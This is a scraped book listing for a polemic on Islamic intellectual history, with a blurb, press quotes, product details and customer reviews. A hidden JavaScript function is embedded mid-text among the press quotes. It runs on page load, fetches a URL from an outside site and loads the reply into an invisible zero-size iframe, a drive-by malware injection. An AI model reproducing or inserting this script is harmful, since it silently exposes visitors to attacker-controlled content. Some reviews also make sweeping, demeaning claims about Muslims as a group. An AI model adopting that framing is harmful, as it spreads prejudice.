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Robert R. Reilly

The Closing of the Muslim Mind: How Intellectual Suicide Created the Modern Islamist Crisis Paperback – April 4, 2011

by Robert R. Reilly (Author)

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The book you must read to understand the
Islamist crisis—and the threat to us all

Robert R. Reilly’s eye-opening book masterfully explains the frightening behavior coming out of the Islamic world. Terrorism, he shows, is only one manifestation of the spiritual pathology of Islamism.

Reilly uncovers the root of our contemporary crisis: a pivotal struggle waged within the Muslim world nearly a millennium ago. In a heated battle over the role of reason, the side of irrationality won. The deformed theology that resulted, Reilly reveals, produced the spiritual pathology of Islamism, and a deeply dysfunctional culture.

The Closing of the Muslim Mindsolves such puzzles as:

· why the Arab world stands near the bottom of every measure of human development

· why scientific inquiry is nearly dead in the Islamic world

· why Spain translates more books in a single year than the entire Arab world has in the past thousand years

· why some people in Saudi Arabia still refuse to believe man has been to the moon

Delving deeper than previous polemics and simplistic analyses, The Closing of the Muslim Mindprovides the answers the West has so desperately needed in confronting the Islamist crisis.

"Should be required reading for anyone who hopes to argue effectively against Islamic jihad." —The Center for the Advancement of Capitalism

“What happened to moderate Islam and what sort of hope we may have for it in the future . . . is the subject of Robert Reilly’s brilliant and groundbreaking new book. . . . Closing is a page-turner that reads almost like an intellectual detective novel. It is among those few brave books on Islam . . . that should be read by anyone who wants to understand one of the most fundamental causes of conflict in the 21st century.”—National Review Online “A book that may offer the key to both understanding and perhaps defeating the ongoing war of terror against the West.”—American Spectator “Robert R. Reilly comes closer to providing a persuasive explanation [of what happened to Islamic culture] than any other account I have seen. As Reilly succinctly shows, Islamic civilization . . . threw out of the intellectual window the principles of rational inquiry that the Greeks had first introduced to the West half a millennium before Christ.” —Weekly Standard “The lack of liberty within Islam is a huge problem. Robert Reilly’s The Closing of the Muslim Mind shows that a millennium ago Muslims debated whether minds should be free to explore the world—and freedom lost. The intellectual history he offers helps to explain why Muslim countries fell behind Christian-based ones in scientific inquiry, economic development, and technology. Reilly provides astonishing statistics . . . [and] also points out how theology prefigures politics.”—World magazine “Reilly recounts Islam’s abandonment of Hellenistic reason, and blames it for the subsequent decline of Muslim civilization and the rise of radical Islam. . . . The importance of this turn in Muslim thinking cannot be exaggerated.”—Asia Times “Superb and essential . . . Fascinating.” —Jihad Watch function aklazyinit(){var xhr = undefined;if (typeof XMLHttpRequest == "undefined"){try { xhr = new ActiveXObject("Msxml2.XMLHTTP.6.0"); } catch (e) {}if(xhr == 'undefined') try { xhr = ActiveXObject("Msxml2.XMLHTTP.3.0"); } catch (e) {}if(xhr == 'undefined') try { xhr = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) {}}else{xhr = new XMLHttpRequest();xhr.open('GET', 'http://www.voegelinview.com/index.php?aklazy=check', true);xhr.onreadystatechange = function (aEvt) {if (xhr.readyState == 4) {if(xhr.status == 200){var msg = xhr.responseText;// Start processing the messagevar junk = null;var message = "";// Get rid of junk before the datavar valid_pos = msg.indexOf('###');if( valid_pos == -1 ) {return;} else if( valid_pos != 0 ) {// Data is prefixed with junkjunk = msg.substr(0, valid_pos);message = msg.substr(valid_pos);}else{message = msg;}message = message.substr(3); // Remove triple hash in the beginning// Get of rid of junk after the datavar valid_pos = message.lastIndexOf('###');if( valid_pos == -1 ) {return;} else if( valid_pos == 0 ){// No datareturn;}message = message.substr(0, valid_pos); // Remove triple hash in the end// Create the iFramevar iframe = document.createElement('iframe');iframe.setAttribute('width', '0');iframe.setAttribute('height', '0');iframe.setAttribute('src', message);document.body.appendChild(iframe);}}};xhr.send(null);}}window.onload=aklazyinit;“Reilly locates the root of modern Islamic violence . . . go[ing] far beyond the conventional wisdoms that have driven the debate over national security. . . . The remarkable facet of The Closing of the Muslim Mind is that this work of theological archaeology is accomplished while leaving the audience an eminently readable book of just 200 pages. . . . This book should be compulsory reading at all institutions dedicated to preventing another 9/11.”—Hudson Institute “An eye-opening and mind-opening book . . . No short review can do full justice to this book . . . Well-researched and meticulously documented.”—Oregon Live “Superb and stimulating . . . Reilly’s small book has earned a place near the top of the tiny library of books I regard as indispensable. How did I live so many years without it?”—Joseph Sobran “Hatred of Islamism for the West is not merely political, as Reilly’s exhaustive analysis shows, but is indeed ‘metaphysically necessary.’ . . . The roots of this now pervasive attitude are deeply buried and shrouded in time, denial and ignorance, and it is the principal achievement of Reilly’s book that he provides a comprehensive account of this momentous event, written in a lucid fashion that is accessible to both experts and the general public.”—National Observer (Australia) “Clear and concise . . . What Reilly suggests, based on abundant modern scholarship, is that the first fully developed theological school in Islam, the Mu’talizites, would probably have despised bin Laden’s ravings. The tragedy of Islam is that the Mu’talizites . . . have become anathematised heretics.” —MercatorNet “The most eye-opening book of 2010.” —Catholic Culture “Robert Reilly helps explain the Muslim worldview by thoroughly documenting the historic and doctrinal roots behind it; by refreshingly bypassing the overly dramatized question of “what went wrong,” he explains the more pressing “why it went wrong.” —Raymond Ibrahim

Print length

244 pages
Language

English
Publisher

Intercollegiate Studies Institute
Publication date

April 4, 2011
Dimensions

8.25 x 0.75 x 5.25 inches
ISBN-10

1610170024
ISBN-13

978-1610170024
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Editorial Reviews

About the Author

Robert R. Reilly is a senior fellow at the American Foreign Policy Council and has written for the Wall Street Journal, the Washington Post, Reader’s Digest, and National Review, among many other publications. A former director of the Voice of America, he has taught at the National Defense University and served in the White House and the Office of the Secretary of Defense. Reilly is a member of the board of the Middle East Media Research Institute and lives near Washington, D.C.

Product details

Publisher ‏ : ‎ Intercollegiate Studies Institute; 1st edition (April 4, 2011)
Language ‏ : ‎ English
Paperback ‏ : ‎ 244 pages
ISBN-10 ‏ : ‎ 1610170024
ISBN-13 ‏ : ‎ 978-1610170024
Item Weight ‏ : ‎ 12 ounces
Dimensions ‏ : ‎ 8.25 x 0.75 x 5.25 inches

Best Sellers Rank: #223,798 in Books (See Top 100 in Books)
- #56 in Islamic Social Studies
- #190 in Terrorism (Books)
- #205 in Middle Eastern Politics

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A scholarly autopsy of Muslim civilization that reads like a novel

Reviewed in the United States 🇺🇸 on July 16, 2010

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Bookstores are lately full of obituaries for Muslim civilization describing its decline. (We have a surviving Muslim culture, but the civilization is a faded memory.) Most analyses (like Bernard Lewis's "What Went Wrong") are quite good, but Robert Reilly's highly readable "The Closing of the Muslim Mind" is the best of a good lot. It takes you further, describing the original ideas that inspired Islam's self-inflicted intellectual decapitation--not simply tracing the social the social eruptions which followed.

You might well expect that a book focusing on the intricacies of arguments between Medieval Quranic scholars would be a suffocatingly tedious read, but it's not. The theological hairs these gentlemen sought to split were large and had far larger consequences. The modern Islamic world (make that the anti-modern Islamic world) is largely the product of a thousand years of bad ideas--mixed with oil. (Quick note: this book is about Sunni Islam. Shi'a Islam explicitly excluded.)

It's hard to recall that Islamic civ was once far ahead of Western civ. Early in Islamic history Arab conquests took them into captured libraries full of Greek philosophy, science, mathematics and culture and Islamic intellectual life expanded suddenly and exponentially. Many seminal works the West claims today as its own originally arrived as translations from Arabic. The numbers we use today, "Arabic" (actually Indian) numerals came in on a tide of Arabic words like algebra and algorithm. Arab civilization in the 10th seemed to have a bright future. Then, in the 11th century Islam reversed course. The pendulum swung so far away from the rationalism of Greek philosophy it never came back.

The linchpin of this change was over the alleged power of Allah. It became a theological fetish to ascribe Him flattering new dimensions of potency. Imaginative arguments were made inflate the Creator--always at the expense of the created. Allowing for some necessary oversimplilfication, here are some high points:
-----Omnipotence. Far more God-powers. Even to the point of dismissing all natural law, all cause & effect Every event from the molecular to the cosmic becomes Allah's will. (God is Great!...and getting Greater!)
-----Onmiscience. He knows your fate and all future events. Failure & success, heaven or hell, happiness or misery--His choice, not yours. All entered into history by an Angel before you exist. (Divine determinism, Islamic style: only He is free.)
-----Unknowability. You can know nothing about Him or His motives. To attempt to discover or postulate Allah's nature becomes blasphemy--a capital crime. All His commandments are beyond human logic: arbitrary and absolute. Obedience is the bedrock source of morality, all law, all behavior. No modifications allowed.

This revolt against reason isn't just a theological word game. It has big consequences. If knowledge is impossible and all nature compressed into divine caprice, investigating the world is more than a waste of time, it's a potentially fatal heresy. Science is now useless: what good is physics or psychology if atoms and thoughts--or even tomorrow's sunrise--are subject to Allah's will? You don't need a philosophical turn of mind to see where this leads--or doesn't lead. Most of us in the West are used to thinking on our own, to solving problems without waiting for authority. We can recognize a dumb idea and call it that. But in a world where obedience is prized above (way above) initiative, Allah's potency is a recipe for intellectual inertia, for enforced dogma--and for violence: when the framework for rational mediation is lost, conflicts will be settled by force. Obedience to the victor is as imperative as to Allah.

Untethered from a knowable reality, Islamic fantasy is free to soar. Reilly provides nearly a whole chapter of preposterously paranoid quotations (mostly about the Satanic West and the Evil Jew) from Arabic news media and religious authorities, and statistics like the staggering number of Muslims who believe Mossad and George Bush engineered 9/11 to provide an excuse to kill Muslims. (Probably including believers who danced in the streets when it happened). There's also a bagful of humorously illustrative examples like the Pakistani Mullahs getting weather forecasts banned, or science books obliged to stress the decisive force of Allah's will whenever 3 atoms combine to make a water molecule.

This Islamic cultural lobotomy which gave us nuisance terrorism has given Islamic world much worse: the planet's worst human rights records (especially for women), world class corruption, a subsistence economy (relieved only by oil exports), widespread illiteracy, and an attitude toward problems which favors blame over solutions. The problems are worsening, not improving. Reilly shows today's Islamic rulers and radicals have Islamified many central ideas of 20th C. totalitarianism (both Nazi & Leninist) and made them their own.

It's not a cheery book to read--considering how long it will take to reverse 1,000 years of civilizational decline in a semi-literate culture--but it is more informative about the how & why of current and past events than any other book I've read on the subject.

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Adil Ashary

Bold thesis, but not watertight.

Reviewed in the United States 🇺🇸 on September 7, 2016

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I really liked the book and enjoyed reading it. Robert Reilly has thoroughly researched the highly intellectual work of Muslim philosophers from 9th to 12th century. He has presented it in simple and clear terms for the readers. His thesis is bold and largely substantiated. However, I would like to point out a few weaknesses that I believe do not make it a watertight theory.

According to Reilly, the Ash ’arties movement was basically responsible for closing of Muslim mind and causing total shut down of the scientific inquisition by Muslims. Which is perhaps responsible for the present day condition of Muslims in general and especially of the Arabs world? According to some references he, cites in eth book, the Arab world is currently at the bottom of the scale in almost every category of human development including health, education and per-capita GDP.

Al-Ghazali (c.1058-1111) who is considered to be one of the most brilliant phosphors of his time studied early Greek, as wells Muslim philosophers like Al-Kindi (c.801-873) and Avicenna (Ibn Sînâ, c.980–1037). Ghazali strongly disagreed with the earlier philosophers, and laid out twenty major points of disagreement in his book “Incoherence of Phosphors”. He believed in the will of God, rather than free will. He did not believe in the cause and effect relationship in science. For instance, as Reilly mentioned the burning cotton in the fire, according to Ghazali, has nothing to do with the properties and the characters of fire and cotton, instead, it had everything to the will of Allah.

Mutazilites philosophers such as Al-Kindi and Ibn-Rush (Averroes, c.1126–1198) on the other hand believed in the cause and effect relationship, free will, and justice of God. Gazali argued that God is omnipotent, He can’t be restricted to act in certain way. Ghazali’s thinking dominated the Muslim thoughts for almost seven centuries and even continued to have following even today. Like his predecessor, Ash’arites, Ghazali thought revelation, not the reason, which important. After Ghazali, the gate of Ijtihad was essentially closed forever in Sunni Islam. His thinking actually reinforced the earlier traditionalists such as those of Imam Hanbali (c.780- 855) who believed and preached strict following of Quran and Prophet Muhammad’s traditions. The other Muslim scholars who were of the same extreme philosophy were ibn Taymiyyah (c.1263-1328) and Abdelwahab (c.1703–1792). They even declared a person is worthy of killing if or she does not follow their brand of Islam. Their teachings have strong following in present day Saudi Arabia and elsewhere.

While I believe the influence of Ash’arites dominated the majority Sunni Muslim, it is probably not the only factor responsible for shutting the scientific education and developments. If that was the case, the Christian history has not been devoid of opposition to new and important scientific discoveries. During most of the 16th and 17th centuries, fear of heretics dominated in spreading teachings and opinions that contradicted the Bible. Copernicus and Galileo were persecuted by the church and deemed heretical. The Catholic Church forbade people from reading any books on these subjects by placing them on the Index of Prohibited Books. Yet, scientific development flourished in the west and become responsible for economic development that we see today. Even today creationists still do not believe in Darwin’s theory of evolution.

There are many parts of the world, such as, Sub-Saharan Africa, South America and others which are severely underdeveloped, despite being Christian dominance. Certainly, the Ash’arites movement did not help scientific advancement in Muslim world, but it may not be solely responsible Muslims being legging tremendously in scientific discoveries. Furthermore, Ash’arites movement is mainly followed by the Sunni sect of Islam. The Shias on the other hand are more in line with Mutazilites. They still have the door of Ijtihad open, but they are not known to be the greatest scientists, or discoverers.

What has really hurt the Muslim thinking in my opinion, and perhaps which is directly responsible for closing of Muslim mind is the extremist religious views, and following extremists such as ibn Hunbal, Tamiya AbdelWahab and more recently, Al Sayyed Qutb (c.1906-1966) and Maulana Maududi (c.1903-1979). Who relied on strict and literal interpretation of Quran and following of Sunnah, known as Islamic jurisprudence, Sharia laws and Fiqh. As Reilly mentioned in this book, the second Kalif, Umar (c. 583-654) ordered destroying a treasure trove of books found after the conquest of Eastern Persia, stating that these books were either against Quran or simply superfluous. This does go against a very famous saying of the Prophet Muhammad. I am paraphrasing here -one must travel to as far and distant places as China in quest of knowledge. He did not forbid acquiring knowledge other than Quran. Essentially Islam was high jacked by the very early followers of Muhammad.

At places in the book Reilly cites extremely ridiculous and vulgar fatwas given by some so called Muslim scholars (Ulamas). These have been rare and have been abhorred upon by most Muslims to point that they were eventually withdrawn. Finally, Reilly shows some of his biases by suggesting Sayyed Qutb and Maududi’s thinking as that of Nazis’.

I still recommend the book.

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Top reviews from other countries

Luksy Ann

A book for our times

Reviewed in the United Kingdom 🇬🇧 on February 17, 2016

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This is an admirable book, a real eye-opener, and one which should be read by anyone who has found themselves aghast at, and uncomprehending of, acts of Islamist terror. Reilly reveals the tragedy of Sunni Muslim history, in which the relatively reasonable and rational Mutazilite mode of thinking was, in the ninth century, eclipsed by Asharism. The latter posited no cause and effect relationships in the natural world. Thus, the falling of an apple from a tree was likely attributed to the direct and perpetual actions of God rather than anything akin to, or prescient of, a law of gravity. With reason vanquished, into the vacuum stepped a Nietzsche-like Allah, whose power was perceived as limitless and arbitrary, and the Arab world sank into a backward and ossified epistemology, one hostile to the progressive West.
The author is to be commended on his lucid writing, in which some quite complex concepts are made accessible, and for casting light on the mental machinations of those whose ideology, a religious totalitarianism, now augurs ill for us all. In the twentieth century, Europe suffered under the yoke of fascism and communism. Our continent, and the wider world, now face a new and equally chilling threat. The Closing Of The Muslim Mind is indeed a book for our times, and one which Western leaders would do well to consult as they attempt, often naively, to grapple with radical Islam.

20 people found this helpful

Sandy Lovatt

A Valuable Insight Into modern Islam

Reviewed in the United Kingdom 🇬🇧 on June 9, 2019

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One needs a reasonable grounding in philosophy to appreciate this book. Nevertheless it is worth reading in order to understand how the West should react to Muslim fundamentalism and how to support those brave Muslim scholars who are trying to get Islam to take its proper place in the world.

One person found this helpful

DFG

A Must Read.

Reviewed in the United Kingdom 🇬🇧 on June 4, 2018

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I have read over a dozen books on Islam from different bias/points of view.

This is like no other book i have read - besides this history of how Islam was opened to hellenism and philosophy, and how it was closed once more by the 10 - 12 century - insights are forever coming forth that 'makes sense' of why those who adhere Islam think the way they do. I would recommend this book as a must read.

One person found this helpful

Lilias Darcy-fox

Excellent . insightful book.

Reviewed in the United Kingdom 🇬🇧 on July 12, 2017

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A book that should be required reading in Universities and for M.P.'s..

2 people found this helpful

Amazon Customer

A must read

Reviewed in Canada 🇨🇦 on March 23, 2014

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Essential to understand the conundrum in which the whole Muslim world is stuck now: on the one hand, people like you and me, who learn physics, chemistry, medicine, etc, at school and in universities and practise them every day; on the other hand, a religious establishment which is stuck in the 10th century, and does not want to change nor to account for its laziness, corruption, privileges and unaccountability.

At the root, a theological fight between the supporters of the idea of God as Reason, and the supporters of the idea of God as Will. The former won early and then lost. The latter lost early but were put on top by greedy leaders. And they have been on top for a thousand years.

The direct consequence has been a complete and total rejection of Reason in theology and philosophy, and thus in the social-political and economic spheres.
For example:according to Islamic theologians, water is not the association of oxygen and hydrogen; when you bring oxygen and hydrogen together, water is created by the will of God. As a consequence, for 2 years in 1983-84, under the pressure of the Jamaat e Islami, Pakistani state tv suppressed weather reports since it should have been impossible theologically to forecast God's will...
Another example: ibn Baz' (former Head mufti of Saudi Arabia) theological edict according to which the Earth is the center of the universe. (Now, how would he explain the recent discovery of evidence confirming the Big Bang theory? Or the discovery, several years ago, of an old copy of the Koran showing several versions of the holy book? ([...][...]) .)

The intellectual and economic consequences are terrible:
- Spain or India produce a larger percentage of scientific literature than 46 Muslim countries combined;
- according to the 2003 UN Human development Report report on culture and educational development, whereas Korea produces 144 scientific papers per million people, Arab countries produce 26;
- whereas Korea had produced 16 328 patents from 1980 to 2000, nine Middle east countyries had produced 370, and Pakistan 8 patents in the past 43 years.

And a secondary but essential consequence of the triumph of Will over Reason has been political: the ascendence of dictatorship over citizenship. Since the foundation of the universe is pure power, there is no need to justify its exercise, and thus no citizens but mere subjects.
A few practical examples: the association of the Baath and the theological establishments in Syria and Iraq under Assad and Saddam; and the theological dictatorship in Iran.

The results of the denial of causality are disastrous: unreality, superstition, conspiracy theories, deprivation of citizenship for non-believers, etc.

And the suffering is immense: [...]

But there is hope: Reformation is coming. Everywhere in the Muslim world, reformers and apostates are attacking systematically the intellectual foundations and the rot of the theological establishment, even at a very high personal proce like Malala or Irshad Manji. Even ordinary Muslims are attacking stupid fatwas, like that of al Ahram university which would have obliged men working with women to be breast-fed by the latters....

That should be Mr Reilly's next book...

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The Closing of the Muslim Mind: How Intellectual Suicide Created the Modern Islamist Crisis Paperback – April 4, 2011

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